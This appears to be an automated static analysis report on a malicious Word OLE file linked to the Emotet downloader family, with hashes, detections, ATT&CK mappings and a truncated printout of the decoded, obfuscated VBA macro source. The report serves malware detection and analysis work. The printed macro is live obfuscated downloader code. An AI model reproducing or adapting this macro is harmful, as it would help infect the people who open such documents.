Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 53c0c9db430131c7…

MALICIOUS

Office (OLE)

233.0 KB Created: 2018-03-30 13:45:00 Authoring application: Microsoft Office Word First seen: 2018-04-12
MD5: c247b22470ee9f6678bd5eaafe8b4652 SHA-1: 82d1a4e80bb99c92140eebb8b16e1f508ff071c7 SHA-256: 53c0c9db430131c7659c8bb49f1372b304f3b75ea8a942ced0e1adde4fc6ad15
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The presence of a critical ClamAV detection (Doc.Malware.Emodldr-10025032-0) and high-severity heuristics like OLE_VBA_AUTOOPEN and OLE_VBA_CREATEOBJ indicate malicious intent. The VBA macro, specifically the AutoOpen function, is designed to execute code, likely to download and run a secondary payload. The reconstructed string from the `hoqrzk` function appears to be a base64 encoded string, which is a common technique for obfuscating malicious payloads.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37341 bytes
SHA-256: 9b6512fdabdd2cb76e874db49baa0c68ffa087f7db4f7f38fa5e73114ec2b4d1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 22 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "EDWwiEEzAkjAjl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zriPdZpjNhQBz"
Function vDOVZzHMnVzO()
On Error Resume Next
BZIMEM = Pmwcr * CXVon
biuBB = BsJwif / ChrW(siVLN * viLoo) - qLVsFL * KGMzGX * 12379 / CSng(64989)
jRdsw = hoqRZk("R@BcrpA3ADUANgAyADAAMgBkADYAYgBkAGYAMABkADYANgAxAGQAZQBjADUANQA4ADEANgAxAGMAMAA0AGEANABkADgANQA2ADYAYQBhADYAYwBjAGQAYgAzAGEAZQA2AGYAMwBkADgAYQBhADcAYQBhADMAZgAzADAAZAA0AGEAZABlAOCz", 7, 171)
UOREQ = wmhLI * rrQpG
KTfzE = GVPjlP / ChrW(GisJwX * LkNiKu) - DSOvH * wvOXUK * 58657 / CSng(94751)
jVIolD = KwKmzt * FMJpo
qqouQ = nozJjM / ChrW(CJTZi * iAMji) - bpZawG * wVAsh * 27855 / CSng(47525)
rMiWZwIUfn = hoqRZk("rXdPtORA3AGQAZABiAGEAZAA2AGMANwBhADcAMQAwADkANgAzADcANwAzADMAMQAyADQAYz3", 8, 63)
PBMnaZ = qOlnbY * LiKFz
FOOzCc = tCRmK / ChrW(aPzzt * VswLp) - fipKW * bPjlBn * 25933 / CSng(71217)
IIdkp = jKnKO * MuDVvD
CBWcNw = JmQrjK / ChrW(TFwJWR * EWEwTB) - Nmzzro * DmjQmr * 15574 / CSng(93764)
fOwnbp = hoqRZk("nS7hXaAOQBhADYAYwA2AGUAOQBiAGMAYQA5ADkAMQA1AGEAOQA1AGMANgAzADkAMwA5ADMANgAzADIANwAxAGYANwA5ADEAYwA4AGMAMAAyADEAYQAzAGUAOAA1ADYAZQBjADQAZAAxADMANwBhADF1V", 7, 143)
vbDSso = LZmDw * RdtzRv
QrrWzQ = QskZo / ChrW(cIXPj * ZfoaFl) - YUCXoa * wdEkh * 37390 / CSng(54074)
dUCli = QomNbi * ZrhjM
Fcwcf = vvHGh / ChrW(OiMTZJ * wEoiJ) - pjWjnK * MCiojs * 44843 / CSng(24420)
ObTtmSXD = hoqRZk("5@gAwADcAMwBhADQAZABiADMAMwBlAGMANwBkADQAMgAzAGUANgA4ADcCaKb6v1", 3, 54)
CIhEjN = zGSXiP * Qzmqq
YPUwBQ = AYmhm / ChrW(IBfzFC * jZZVnz) - nRqtBh * PnolD * 35450 / CSng(2993)
izBrjT = BcPCjC * zSHjfW
bZnBjH = tRPZWz / ChrW(dPAtl * aljqEd) - pErCk * XCZOpA * 23665 / CSng(12306)
htBIJ = hoqRZk("X1ADgAZQBkAGIAMgBhADIAMgA3AGYAOABhADIAZABmADkANQBhAGUANAAxADQAMgA0ADIAZgBjADcAZQAxADEAZAAwADAAMgA4ADEANwA2AGYAMwA1AGYAMAA3ADkAMABkAGEAYQBmADQAMgAyADUANwA2ADUANgAxAGYAMwAyADAANwBaOWBC", 2, 176)
KAdND = UDHmu * BpqwwD
poaMpm = QDAKsY / ChrW(RbjNrZ * VBjQq) - VNjSs * YQUjon * 51007 / CSng(53635)
zdcMZP = DkVbEI * GYzCzc
bAnDi = nSKkCt / ChrW(XBVIr * YIXSE) - FIwAiJ * bbVdo * 18948 / CSng(84234)
dDsDdR = hoqRZk("1DwJwBiADEAZABiADkAMAA3AGIAMQA2AGQAZQA1ADkANAA1ADkAMwBmADEAYgBmAGMAYgA3ADYANAA1AGUAZgA5ADkAMwAwADQAMgBkADQANwBlADcAMgAzAGEANwA5ADUAMgBkADcANwA0ADAAZgBjADYANQAxAGQAZABhAGYAOQBlAGUAYgAxADYAN0T", 5, 184)
KkakZ = EGEDr * cEIEh
XcmpSj = iRcCYh / ChrW(zCNXzh * VACtzm) - rWSRvE * PiVSuJ * 82999 / CSng(86707)
jcavVR = CrmdH * JiLNMj
HTjKm = sCBrd / ChrW(psXQGi * hWAkdw) - EYLnbL * ZTMsQJ * 14949 / CSng(48701)
TPdzFfoHD = hoqRZk("J2An%A5ADUAZABhADYAMwBmAGYAMgBlADkAMgA0AGIANAA1ADkAYQA1ADMANgA5AGQANAA1ADIAOQBhADYAMAA2ADgAZQBmAGQAZAAwADEAMQA0ADUAMAAxADcAYgAyADAAMQA0ADYAYgBkAGEAZgBlAGQAMgBlADEANwBhADUAMAAwAGIAMQAwAGUANAA4AGIGtD", 6, 189)
BAJuS = lREicw * GjGOrI
rNQRA = YLYqV / ChrW(IQzkTB * Qnuitj) - tNdmBS * FOnjsu * 5654 / CSng(29801)
SuJrzU = ECmAwW * kCnScs
UvvVMI = LjpiQ / ChrW(HWzVK * qzpTX) - AKcsK * dvtzzO * 40839 / CSng(75887)
VYFdEsRBhmz = hoqRZk("rFhC5CMwBjAGQANABjAGIAMAAwADUANgBkAGEAZQAxADkANwBmADYAZABiADgAMgA2AGUAZgAzADcAOAAyADIAOQBiAGIAOQBiADYAYgA0AGQAYgA3ADUANQA4ADkAYwBhADAAZgBmAGMAMQBmADcAYwA1ADcAZAAyAGMANwA2AGIAMgA3ADgAYwA3AGDt", 7, 182)
ZsWzS = FVNDRI * BzfcX
LwpTV = FVXKXl / ChrW(WwRHT * FiupO) - skLtwS * qLbOk * 49393 / CSng(2080)
NBRVm = XIkiXl * jYhELj
zIHIw = fzTFa / ChrW(pXbRT * jEzTGF) - XAECiA * RFBEu * 16735 / CSng(46915)
UOsdpb = hoqRZk("BADYAM@X@5,V", 2, 5)
FapiEP = VFGOSi * BjCCiZ
avoEG = kWWXKN / ChrW(zZdbA * cfzvQ) - omDUCr * wQffBa * 95106 / CSng(48379)
CvFjtp = NEPOz * YTnhEK
ofzsrB = mVkwtR / ChrW(cZXOU * EcfuT) - dZHsSE * VDXwNs * 84586 / CSng(95961)
tOXMTbnoMpm = hoqRZk("QzkADIAZAA1ADQAMwAwADUAOAA0ADYAZgA0ADgAZgBmADQANwBiAGEANgBmAGMAMABjADEAOAA3AGUANwBlAGIANQA2ADAANgBlADgANAA0ADMAMwA3ADkAMgAzAGcLB0p", 3, 123)
rTTVhk = tPSjzl * zCYQY
icSrR = IEaKWc / ChrW(YkLbw * sdNczU) - jsXwob * fBPBb * 8125 / CSng(715
... (truncated)

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